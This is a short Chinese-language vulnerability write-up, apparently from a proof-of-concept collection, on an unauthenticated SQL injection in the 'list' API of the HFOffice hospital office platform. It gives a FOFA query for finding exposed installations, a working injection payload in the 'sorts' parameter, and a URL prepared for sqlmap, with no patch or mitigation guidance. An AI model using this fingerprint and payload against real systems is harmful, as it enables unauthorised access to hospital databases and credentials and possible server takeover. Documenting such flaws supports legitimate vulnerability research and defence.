红帆HFOffice list存在SQL注入漏洞
一、漏洞简介
红帆HFOffice医微云是广州红帆科技有限公司研发的专注医疗行政办公管理，与企业微信全方位结合，提供协同办公、知识库、专家系统、BI等应用，进一步帮助医院移动办公落地，成就面向医院管理的“智慧管理”。平台list接口处存在SQL注入漏洞，未经身份认证的攻击者可通过该漏洞获取数据库敏感信息及凭证，最终可能导致服务器失陷。
二、影响版本
- 红帆HFOffice
三、资产测绘
- fofa
app="红帆-HFOffice" - 特征
四、漏洞复现
/api/switch-value/list?sorts=[{"Field":"1-CONVERT(VARCHAR(32), HASHBYTES('MD5', '1'), 2);"}]&conditions=[]&_ZQA_ID=4dc296c6c69905a7
sqlmap
/api/switch-value/list?sorts=[{"Field":"2"}]&conditions=[]&_ZQA_ID=4dc296c6c69905a7